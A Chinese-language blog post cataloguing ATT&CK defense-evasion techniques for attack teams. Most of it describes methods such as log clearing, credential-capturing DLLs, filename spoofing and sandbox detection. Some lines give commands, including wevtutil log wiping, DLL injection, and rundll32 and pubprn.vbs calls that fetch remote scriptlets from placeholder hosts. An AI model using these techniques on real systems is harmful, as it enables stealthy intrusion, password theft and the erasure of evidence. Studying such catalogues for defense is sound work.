该篇主要介绍攻击队常用的防御规避技术和工具,通过防御规避,可以最大程度的规避被杀毒软件,EDR,IDC,IPC等检测到,延长恶意代码存续时间
参考文章:ATT&CK系列之提权篇-CSDN博客
参考文章:ATT&CK系列之持久化篇-CSDN博客
BITS任务在BITS作业数据库中的,没有新的文件或注册表修改,并且通常得到主机防火墙的允许,所以容易更容易规避安全软件的检测
在主机上构建恶意镜像,然后使用恶意镜像创建自定义容器,规避安全软件检测
规避恶意代码被调试,这个相关技术就太多了,完全可以单独写一篇文章了,以后再写
使用certutil工具从证书中抽取恶意程序,使用copy命令将恶意程序隐藏在图片后面,等等,通过不同工具,将恶意程序隐藏在看似正常的文件里
在主机上部署容器,在容器中执行恶意行为,规避检测
windows提供很多api方便程序执行文件相关操作,当然这些操作都会有严格的权限管控,并且很容易被各种软件监控到。我们可以通过设备对象直接读取硬盘内容,不过就需要我们自己解析文件系统的数据结构。我之前写过一个工具demo,可以实现输入任意存在文件路径,可以获取文件元数据和文件内容。哪天我传到yindeyue/安全工具仓库上
参考文章:ATT&CK系列之提权篇-CSDN博客
检测失陷环境中的各种信息,如果满足恶意代码的要求再执行恶意行为,否则可以直接退出程序或执行非恶意行为
利用满足恶意代码执行的环境中的各种参数(比如某个软件的版本,操作系统版本,内存大小等)生成唯一的key,在使用加密算法对恶意代码进行加密,当恶意代码在目标环境中执行时,自动收集目标环境中的各种参数,计算出对应的且唯一的key,解密恶意代码后执行。这样就能保证恶意代码只在某些环境下才表现出恶意行为
可以利用软件漏洞执行恶意行为,甚至发掘利用安全软件自身的漏洞进行恶意行为的规避
可以使用icacls、cacls、take和attrib等工具修改文件权限
可以使用chown和chmod工具
windows可以通过图形化操作隐藏文件,linux可以通过文件名添加.前缀隐藏文件
mac:/Library/Preferences/com.apple.loginwindow
windows:HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList
linux:sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true
mac:apple.awt.UIElement
windows:CreateDesktop创建隐藏的桌面。powershell.exe -WindowStyle Hidden
可以设置窗口的透明度隐藏窗口。可以创建消息窗口,只处理消息没有展示窗口
利用NFTS的ADS特性隐藏文件内容
创建自定义文件系统,定义自己的文件保存格式
利用虚拟化技术,在虚拟环境中运行恶意代码
根据不同的邮件客户端,创建隐藏邮件规则
根据不同可执行文件格式,将恶意代码隐藏在文件的资源中,资源甚至可以做加密处理,恶意代码执行时再释放并解密
进程的启动参数保存在PEB中,通过直接修改内存,用看着合法的启动参数覆盖恶意启动参数
恶意程序处理系统发送的中断信息(比如用户退出登录信号),使程序不被中断执行
安全软件为了效率,或用户的设置,会排除一些文件或路径的检测操作。通过释放恶意文件到这些文件或路径下,可以实现规避
参考文章:ATT&CK系列之持久化篇-CSDN博客
禁用或关闭安全软件,修改安全软件的配置,注册表值等。很多安全软件通过hook完成恶意行为的监控,恶意代码可以实现hook检测,并取消hook操作。
windows事件日志中会记录用户登录,进程创建,服务启动等事件。可以通过修改注册表值,禁用windows事件日志
Linux通过取消HISTFILE环境变量可以禁用记录历史命令功能。
windows通过Set-PSReadlineOption -HistorySaveStyle SaveNothing禁用powershell,记录历史命令
修改HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventLogSecurity,file项,在不重启主机的情况下,可以将恶意行为转记录到指定的文件中
通过结束指标收集进程,或创建防火墙规则,阻止主机上的行为被安全服务中心收集
在安全模式启动下,一些第三方服务不会被启动,可以避免安全软件,EDR等软件的启动
利用程序的兼容能力,将程序恢复到有漏洞或bug的低版本。将https通信降级到明文的http协议
在失陷系统中伪造安全提示,比如禁用windows defender后可以弹出一个一摸一样的伪造的框迷惑用户。也可以伪造健康的合法的指标信息发送给安全服务中心,谎报系统安全状态
auditctl
冒充受信的人或第三方,钓鱼,或欺骗用户执行某些行为
使用命令wevtutil cl system,或者Remove-EventLog -LogName Security。或者直接删除日志文件
C:WindowsSystem32winevtlogs
/var/log/
删除攻陷目标主机中使用的各种文件
net use systemshare /delete
修改文件的时间戳,修改成和文件夹内其他文件相同的或相似的时间戳
数据删除恶意邮件,删除垃圾邮件检测规则
执行命令的清除之前创建的持久化项,如注册表,文件,账户等
通过操作系统提供的可以执行命令的程序,pcalua.exe,wsl等。间接执行命令,规避直接调用cmd等敏感操作
按照可执行文件格式,写入一个从合法程序拷贝的证书数据。虽说证书校验通过不了,但也实现了迷惑用户的效果
使用特殊字符U+202E翻转用户看到的文件名,隐藏真正的文件后缀,诱导用户点击恶意程序
安全服务可能监控系统内置工具的执行,比如cmd.exe等,我们可以通过重命名这些工具,或将他们拷贝到非默认的路径下执行,用来规避安全检测
将恶意计划任务或服务的名称及描述伪装成和合法的计划任务或服务相似的名称
释放恶意程序时,将恶意程序命名成合法的程序的名称。将恶意程序释放到常用的系统内置的合法路径下。迷惑用户
用户双击不同文件时,某些操作系统根据文件类型选择文件的打开方式。通过在文件名后追加空格可以变相隐藏文件真正的格式。由操作系统根据文件的真正类型,决定文件的打开方式
在系统设置了隐藏文件扩展名的情况下,如果恶意文件使用了双扩展名,那用户看到的扩展名并不是真真正的扩展名,比如用户看到的是demo.txt以为是个文本文件,但实际上是demo.txt.exe,是个可执行文件,这时双击文件后就会执行恶意代码
系统识别文件类型时可能根据文件扩展名,有的会根据文件内容的头几个字节识别文件类型。在传输或者存储恶意代码时,可以手动拼接指定文件类型的文件头前缀,用来规避安全检测
修改进程的父进程,让安全软件不能追踪到完整的执行链
向域控授权进程中,注入虚假的凭证信息,用来后续操作
本地或域用户授权验证时,需要通过密码过滤dll验证密码的合法性,所以需要将明文密码传递给密码过滤dll,我们通过注册恶意的密码过滤dll,就能获取用户输入的明文密码
跟密码过滤dll类似,修改pam_unix.so等模块,获取用户明文密码
修改系统镜像,将代码内置到系统镜像中,当使用网络设备访问这些镜像创建的主机时,可以使用实现植入的凭证信息
当windows用户开启AllowReversiblePasswordEncryption特性后,恶意代码可以抓取相关数据,从而计算出用户的密码。默认情况不会开启该功能,但是在主机需要使用某些服务时是必须要开启该特性的,比如CHAP,在IIS中使用数字授权时
通过修改多因素授权配置,流程实现规避效果
windows用户登陆时会调用网络提供者dll,我们可以注册恶意的网络提供者dll,用来捕获用户的登录操作和登录信息
设置云资源的条件访问策略,比如将ip地址加入访问白名单中
通过修改注册表内容,隐藏恶意的key,比如在恶意key的值前面添加空字符(0x00),reg.exe等一些工具就不能看到这些数据
替换原始镜像中的合法文件。通过工具修改操作系统的内存数据
系统中某些工具的低版本可能会有bug或者漏洞,用旧版本的工具替换系统镜像中新版本的工具
通过配置nat可以打通不同网络的直接访问
在二进制文件后填充随机数据,使二进制文件大小超过安全软件的校验标准,用来规避安全软件的检测。同时填充数据还会导致文件的hash值的变化,可以用来规避安全软件针对文件hash值的检出
即文件加壳技术,文件加壳后可以改变文件的hash值,如果使用vmp这里虚拟机壳,还能增加文件的静态,动态分析难度
将恶意代码隐藏在图片文件,文本文件中,规避检测 Invoke-PSImage
以恶意源代码的形式传递数据,源代码可以加密混淆,在执行之前再编译成可执行文件
分析文件被安全软件检出的特征原因,然后使用工具移除这些特征,比如文件包含特征字符串,想办法替换特征字符串
利用html特性将恶意行为保存在javascript Blob中,或者dataurl中,动态生成恶意攻击,下载恶意代码
使用自定义算法保存和使用被调用函数名,然后使用LoadLibrary,GetProcAddress,动态加载,调用函数
恶意代码在开发过程中会使用有意义的变量名或函数名,链接器还会生成符号信息等数据方便软件调试,同时这些数据也为逆向提供帮助,所以可以使用工具和配置从恶意代码中剥离这些有助于分析的数据
将恶意代码隐藏在合法的文件中,比如结合pe文件的格式,可以将恶意代码写入pe文件同时又不破坏文件签名的合法性
使用字符串替换等方式混淆待执行的命令,规避分析。Invoke-Obfuscation Invoke-DOSfucation
使用注册表或wmi等机制执行恶意代码,通过进程直接注入shellcode等方式,规避生成恶意文件,尽量在内存中操作恶意数据,恶意代码
利用lnk文件的IconEnvironmentDataBlock元数据,下载恶意代码
使用base64等算法编码数据。用密码保护自解压文件。修改文件的BOM头混淆文件
修改Plist的文件的配置,比如实现隐藏恶意程序窗口
修改BIOS,UEFI等固件,在操作系统启动前可以执行恶意行为
修改MBR,VBR等启动代码
修改网路启动的TFTP服务器地址,用恶意镜像启动主机
参考文章:ATT&CK系列之提权篇-CSDN博客
反射加载的恶意二进制不是完整的可执行程序,通过工具加载执行。比如powershell中使用Assembly.Load()加载可执行代码片段
DCShadow工具
使用Rootkit技术加载恶意驱动后隐藏恶意行为
利用Gatekeeper的检测原理,比如安全提示会在文件第一次使用时出现,我们可以通过修改有过安全提示的文件,规避用户看到安全提示
使用自签名或收集到的网络上泄漏的证书信息,签名恶意程序,规避安全软件检测
HKLMSOFTWARE[WOW6432Node]MicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg{SIP_GUID}
HKLMSOFTWARE[WOW6432Node]MicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{SIP_GUID}
HKLMSOFTWARE[WOW6432Node]MicrosoftCryptographyProvidersTrustFinalPolicy{trust provider GUID}
劫持dll,伪装签名校验结果
代码的签名校验时会校验整个证书链,所以自签名证书会被提示异常。使用https访问的网站使用的证书同样需要做证书链检测,检测未通过会在浏览器中提示。使用操作系统api,或手动导入根证书,可以规避安全提示
windows在使用浏览器下载文件后,会对文件添加一个名为Zone.Identifier的ads,包含整个ads的文件会被windows Defender 扫描。我们可以将恶意代码打包成压缩包,使用浏览器下载后的压缩包会被扫描,但是因为压缩包里的文件没有Zone.Identifier的ads,就可以规避windows Defender的智能扫描
比如开始允许测试签名模式,或者禁用签名强制校验
chm文件内可以使用VBA, JScript, Java, and ActiveX语言编写恶意代码,且文件打开时是使用windows内置的hh.exe
打开windows控制面板时会加载HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCpls注册的dll。双击cpl结尾的文件由control.exe进程执行
CMSTP.exe更具提供的inf文件安装用于远程访问连接的服务配置文件,提供恶意inf文件让CMSTP.exe帮我们执行恶意行为
使用InstallUtil执行恶意.Net
利用Mshta.exe执行.hta文件
利用Msiexec执行msi文件,甚至能获取system权限,如果开启了AlwaysInstallElevated
使用Odbcconf执行dll。odbcconf.exe /S /A {REGSVR "C:abc.dll"}
使用Regsvcs/Regasm注册.NET com组件
使用Regsvr32注册com组件
使用Rundll32执行dll,并且在指定functionName时如果没有执行W|A的后缀,Rundll32会先执行W后缀的方法,然后再执行A后缀的方法,所以这也可以做方法劫持。Rundll32还可以执行javascript代码,比如rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
verclsid.exe /S /C {CLSID}
注入dll C:Windowssystem32mavinject.exe PID /INJECTRUNNING PATH_DLL
使用MMC执行msc文件
利用系统内置的或常用的Electron打包的应用执行恶意代码
chrome.exe --disable-gpu-sandbox --gpu-launcher="C:Windowssystem32cmd.exe /c calc.exe
pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct
Office办公系列软件在加载文档时会执行加载模板文件,通过将恶意宏注入到模板文件中,规避检测
通过发送特殊网络数据包,可以唤醒关闭的端口。通过网络唤醒主机
参考文章:ATT&CK系列之持久化篇-CSDN博客
更加xml项目文件执行构建,可以在xml中 插入C#或Visual Basic代码,执行恶意行为
选择将云主机创建在没有安全服务监控的区域
使用获取到的应用访问令牌就能直接授权访问目标应用,不需要原始账号密码
使用授权后的密码hash值进行横向移动操作
使用Kerberos票据进行横向移动操作
网站通过cookie和session记录用户登录状态,所以可以偷取到的cookie或session直接登录目标网站
参看文章:ATT&CK系列之持久化篇-CSDN博客
检测系统cpu,内存,系统主机名,服务等信息,判断程序当前是否处在虚拟机或沙箱中
检测桌面文件数,鼠标移动和点击的频率,浏览器历史,书签等数据
使用计划任务,ping命令,sleep等延时操作。或者比较某段代码的执行时间间隔
通过失陷的网络设备,减少加密时使用的key的长度,降低破解的难度
通过失陷的网络设备,禁用硬件加密功能